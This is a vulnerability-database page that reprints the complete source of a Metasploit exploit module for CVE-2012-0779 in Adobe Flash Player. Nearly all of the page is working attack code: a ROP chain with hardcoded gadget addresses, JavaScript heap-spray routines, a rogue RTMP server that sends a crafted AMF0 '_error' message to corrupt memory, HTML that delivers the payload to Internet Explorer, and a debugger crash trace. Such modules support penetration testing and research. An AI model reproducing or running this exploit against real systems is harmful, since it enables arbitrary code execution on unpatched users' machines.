Lucene search
K

Adobe Flash Player Object Type Confusion

🗓️ 22 Jun 2012 22:21:18Reported by sinn3r <[email protected]>, juan vazquez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 54 Views

This module exploits a vulnerability found in Adobe Flash Player by supplying a corrupt AMF0 "_error" response, leading to arbitrary remote code execution under the user's context

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb
  include Msf::Exploit::Remote::BrowserAutopwn

  autopwn_info({
    :os_name    => OperatingSystems::Match::WINDOWS,
    :ua_name    => HttpClients::IE,
    :ua_minver  => "6.0",
    :ua_maxver  => "8.0",
    :method     => "GetVariable",
    :classid    => "ShockwaveFlash.ShockwaveFlash",
    :rank       => NormalRanking, # reliable memory corruption
    :javascript => true
  })

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Adobe Flash Player Object Type Confusion",
      'Description'    => %q{
        This module exploits a vulnerability found in Adobe Flash
        Player.  By supplying a corrupt AMF0 "_error" response, it
        is possible to gain arbitrary remote code execution under
        the context of the user.

        This vulnerability has been exploited in the wild as part of
        the "World Uyghur Congress Invitation.doc" e-mail attack.
        According to the advisory, 10.3.183.19 and 11.x before
        11.2.202.235 are affected.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'sinn3r', # Metasploit module
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2012-0779' ],
          [ 'OSVDB', '81656'],
          [ 'BID', '53395' ],
          [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-09.html'], # Patch info
          [ 'URL', 'http://contagiodump.blogspot.com.es/2012/05/may-3-cve-2012-0779-world-uyghur.html' ],
          [ 'URL', 'https://www.rapid7.com/blog/post/2012/06/22/the-secret-sauce-to-cve-2012-0779-adobe-flash-object-confusion-vulnerability' ]
        ],
      'Payload'        =>
        {
          #'Space'    => 1024,
          'BadChars' => "\x00"
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Flash Player 11.2.202.228
          [ 'Automatic', {} ],
          [
            'IE 6 on Windows XP SP3',
            {
              'Rop'    => nil,
              'RandomHeap' => false,
              'Offset' => '0x0'
            }
          ],
          [
            'IE 7 on Windows XP SP3',
            {
              'Rop'    => nil,
              'RandomHeap' => false,
              'Offset' => '0x0'
            }
          ],
          [
            'IE 8 on Windows XP SP3 with msvcrt ROP',
            {
              'Rop' => :msvcrt,
              'RandomHeap' => false,
              'Offset' => '238',
              'StackPivot' => 0x77c12100, # add esp, edx # retn 77 # from msvcrt.dll
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-05-04',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),
        OptAddress.new('RTMPHOST', [ true, "The local host to RTMP service listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]),
        OptPort.new('RTMPPORT',    [ true, "The local port to RTMP service listen on.", 1935 ]),
      ], self.class
    )

  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
      return targets[1]  #IE 6 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
      return targets[2]  #IE 7 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
      return targets[3]  #IE 8 on Windows XP SP3
    else
      return nil
    end
  end

  def ret(t)
    return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
  end

  def get_rop_chain(t)
    print_status("Using msvcrt ROP")
    p = "\xbc\x0c\x0c\x0c\x0c" #mov esp,0c0c0c0c ; my way of saying 'f you' to the problem
    p << payload.encoded

    code = ret(t)
    code << rand_text(119)
    code << generate_rop_payload('msvcrt', p, {'target'=>'xp'})
    offset = 2616 - code.length
    code << rand_text(offset)
    code << [ t['StackPivot'] ].pack("V")
    return code
  end

  def get_easy_spray(t, js_code, js_nops)
    randnop = rand_text_alpha(rand(100) + 1)

    spray = <<-JS
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var #{randnop} = "#{js_nops}";
    var nops = unescape(#{randnop});

    while (nops.length < 0x80000) nops += nops;

    var offset = nops.substring(0, #{t['Offset']});
    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);


    heap_obj.gc();
    for (var z=1; z < 0x185; z++) {
      heap_obj.alloc(block);
    }

    JS

    return spray

  end


  def get_aligned_spray(t, js_rop, js_nops)
    randnop = rand_text_alpha(rand(100) + 1)

    spray = <<-JS

    var heap_obj = new heapLib.ie(0x20000);
    var #{randnop} = "#{js_nops}";
    var nops = unescape(#{randnop});
    var rop_chain = unescape("#{js_rop}");

    while (nops.length < 0x80000) nops += nops;

    var offset = nops.substring(0, #{t['Offset']});
    var shellcode = offset + rop_chain + nops.substring(0, 0x800-offset.length-rop_chain.length);


    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);


    heap_obj.gc();
    for (var z=1; z < 0x1c5; z++) {
      heap_obj.alloc(block);
    }

    JS

    return spray

  end

  def exploit
    @swf = create_swf

    # Boilerplate required to handled pivoted listeners
    comm = datastore['ListenerComm']
    if comm == "local"
      comm = ::Rex::Socket::Comm::Local
    else
      comm = nil
    end

    @rtmp_listener = Rex::Socket::TcpServer.create(
      'LocalHost' => datastore['RTMPHOST'],
      'LocalPort' => datastore['RTMPPORT'],
      'Comm'      => comm,
      'Context'   => {
        'Msf'        => framework,
        'MsfExploit' => self,
      }
    )

    # Register callbacks
    @rtmp_listener.on_client_connect_proc = Proc.new { |cli|
      add_socket(cli)
      print_status("#{cli.peerhost.ljust(16)} #{self.shortname} - Connected to RTMP")
      on_rtmp_connect(cli)
    }

    @rtmp_listener.start

    super
  end

  def my_read(cli,size,timeout=nil)
    if timeout.nil?
      timeout = cli.def_read_timeout
    end

    buf = ""
    ::Timeout::timeout(timeout) {
      while buf.length < size
      buf << cli.get_once(size - buf.length)
      end
    }
    buf
  end

  def do_handshake(cli)
    c0 = my_read(cli, 1)
    c1 = my_read(cli, 1536) # HandshakeSize => 1536
    s0 = "\3" # s0
    s1 = Rex::Text.rand_text(4) # s1.time
    s1 << "\x00\x00\x00\x00" # s1.zero
    s1 << Rex::Text.rand_text(1528) # s1.random_data
    s2 = c1 # s2
    cli.put(s0)
    cli.put(s1)
    cli.put(s2)
    c2 = my_read(cli, 1536) # C2 (HandshakeSize => 1536)
  end

  def on_rtmp_connect(cli)

    begin
      do_handshake(cli)
      request = my_read(cli, 341) # connect request length

      case request
      when /connect/
        rtmp_header = "\x03" # Chunk Stream ID
        rtmp_header << "\x00\x00\x00" # Timestamp
        rtmp_header << "\x00\x00\x71" # Body Size
        rtmp_header << "\x14" # AMF0 Command
        rtmp_header << "\x00\x00\x00\x00" # Stream ID

        # String
        rtmp_body = "\x02" # String
        rtmp_body << "\x00\x06" # String length
        rtmp_body << "\x5f\x65\x72\x72\x6f\x72" # String: _error
        # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << "\x40\x00\x00\x00\x00\x00\x00\x00" # Number
        # Array
        rtmp_body << "\x0a" # AMF Type: Array
        rtmp_body << "\x00\x00\x00\x05" # Array length: 5
        # Array elements
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
        # Crafter Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x0c\x0c\x0c\x0c" # Modify the "\x0c\x0c\x0c\x0c" to do an arbitrary call
        # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
        # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
        # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
        # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") +  "\x00\x00\x00\x00" # Number

        trigger = rtmp_header
        trigger << rtmp_body

        cli.put(trigger)
        @rtmp_listener.close_client(cli)
      end
    rescue
    ensure
      @rtmp_listener.close_client(cli)
      remove_socket(cli)
    end

  end

  def cleanup
    super
    return if not @rtmp_listener

    begin
      @rtmp_listener.deref if @rtmp_listener.kind_of?(Rex::Service)
      if @rtmp_listener.kind_of?(Rex::Socket)
        @rtmp_listener.close
        @rtmp_listener.stop
      end
      @rtmp_listener = nil
    rescue ::Exception
    end
  end

  def on_request_uri(cli, request)

    agent = request.headers['User-Agent']
    my_target = get_target(agent)

    # Avoid the attack if the victim doesn't have the same setup we're targeting
    if my_target.nil?
      print_error("Browser not supported: #{agent}")
      send_not_found(cli)
      return
    end

    print_status("Client requesting: #{request.uri}")

    if request.uri =~ /\.swf$/
      print_status("Sending Exploit SWF")
      send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })
      return
    end

    p = payload.encoded
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
    js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))

    if not my_target['Rop'].nil?
      js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
      js = get_aligned_spray(my_target, js_rop, js_nops)
    else
      js = get_easy_spray(my_target, js_code, js_nops)
    end

    js = heaplib(js, {:noobfu => true})

    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate(memory_sensitive: true)
    end

    swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
    swf_uri << "/#{rand_text_alpha(rand(6)+3)}.swf"

    if datastore['RTMPHOST'] == '0.0.0.0'
      rtmp_host = Rex::Socket.source_address('1.2.3.4')
    else
      rtmp_host = datastore['RTMPHOST']
    end

    rtmp_port = datastore['RTMPPORT']

    html = %Q|
    <html>
    <head>
    <script>
    #{js}
    </script>
    </head>
    <body>
    <center>
    <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
    id="test" width="1" height="1"
    codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
    <param name="movie" value="#{swf_uri}" />
    <param name="FlashVars" value="var1=#{rtmp_host}&var2=#{rtmp_port}"
    <embed src="#{swf_uri}" quality="high"
    width="1" height="1" name="test" align="middle"
    allowNetworking="all"
    type="application/x-shockwave-flash"
    pluginspage="http://www.macromedia.com/go/getflashplayer"
    FlashVars="var1=#{rtmp_host}&var2=#{rtmp_port}">
    </embed>

    </object>
    </center>

    </body>
    </html>
    |

    html = html.gsub(/^ {4}/, '')

    print_status("Sending html")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end

  def create_swf
    path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2012-0779.swf" )
    fd = ::File.open( path, "rb" )
    swf = fd.read(fd.stat.size)
    fd.close

    return swf
  end
end

=begin

* Flash Player 11.2.202.228

(348.540): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000
eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050202
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c          mov     eax,dword ptr [edx+2Ch]
ds:0023:44444470=????????

0:000> u eip
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c          mov     eax,dword ptr [edx+2Ch]
104b1b30 53              push    ebx
104b1b31 ffd0            call    eax

=end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation